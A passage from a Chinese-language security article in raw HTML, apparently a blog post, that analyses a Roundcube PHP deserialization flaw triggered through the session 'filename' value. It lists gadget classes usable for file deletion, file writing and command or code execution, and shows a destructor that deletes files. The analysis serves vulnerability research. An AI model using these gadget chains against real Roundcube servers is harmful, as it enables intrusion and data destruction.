normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">filename</span></p><span leaf=""> 中的字符串被转换为一个序列化对象：</span></div><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100008488" class="rich_pages wxw-img" data-ratio="0.603128054740958" data-s="300,640" data-type="png" data-w="1023" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c97aeb94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRcXcMMaTXEbMvLTGNY97Hlhfao73sSFTMRR1sCCia6uv8X3yA97V7sRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">该序列化对象最后会二次调用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PHP</span></p><span leaf=""> 原生 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unserialize</span></p><span leaf=""> 函数，找一个 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Roundcube</span></p><span leaf=""> 中的类进行测试，比如 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_sendmail</span></p><span leaf=""> ，成功进入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_sendmail::__destruct</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008464" class="rich_pages wxw-img" data-ratio="0.5827619980411362" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d7326bcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRY14F6VWzGt3gEb6l8NYA0Sdk1BibP1hweJxCMMCC9a4nFQicbOInJI5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果换成其他可利用的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></p><span leaf=""> ，就可能会触发 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></p><span leaf=""> 。</span></div><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">gadget利用链构造</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">上面测试用的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_sendmail</span></p><span leaf=""> 类本身就是一个可利用的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></p><span leaf=""> ，可实现任意文件删除：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">public function __destruct()</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    foreach ($this-&gt;temp_files as $file) {</span><span leaf=""><br/></span><span leaf="">        @unlink($file);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Roundcube</span></p><span leaf=""> 中可利用的反序列化 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></p><span leaf=""> 比较多，以下是整理的部分 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></p><span leaf=""> ：</span></div><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_sendmail</span></p><span leaf=""> 类 ：任意文件删除；</span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_attachment_handler</span></p><span leaf=""> 类：任意文件删除；</span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\GuzzleHttp\Cookie\FileCookieJar</span></p><span leaf=""> 类：任意文件写入；</span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\GuzzleHttp\Psr7\FnStream</span></p><span leaf=""> 类： 任意代码执行；</span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Crypt_GPG_Engine</span></p><span leaf=""> 类：任意命令执行；</span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• ...</span></p></li></ul><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">分析发现 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">filename</span></p><span leaf=""> 参数存在一定限制，无法包含反斜杠等特殊字符，导致 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\GuzzleHttp\Cookie\FileCookieJar</span></p><span leaf=""> 这种存在命令空间的类无法使用，好在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Crypt_GPG_Engine</span></p><span leaf=""> 没有命令空间，所以可以用来触发 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></p><span leaf=""> （可借助 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">pspy</span></p><span leaf=""> 监控命令执行进程 ）：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008462" class="rich_pages wxw-img" data-ratio="0.4037886340977069" data-type="png" data-w="1003" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=b5486a9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibR0ocvumqZerRnqwNwficvbR4nJ95N0fRcAFjAVpmUdvHX9woWxYMoO8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">利用方式拓展</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">有没有更通用的利用方式呢？将 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">filename</span></p><span leaf=""> 后缀设置为类似 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">s:300</span></p><span leaf=""> 这种长字符长度时，观察到后面还有内容会写入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf=""> ，其中就包含了请求参数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_from</span></p><span leaf=""> 的值：</span></div><figure 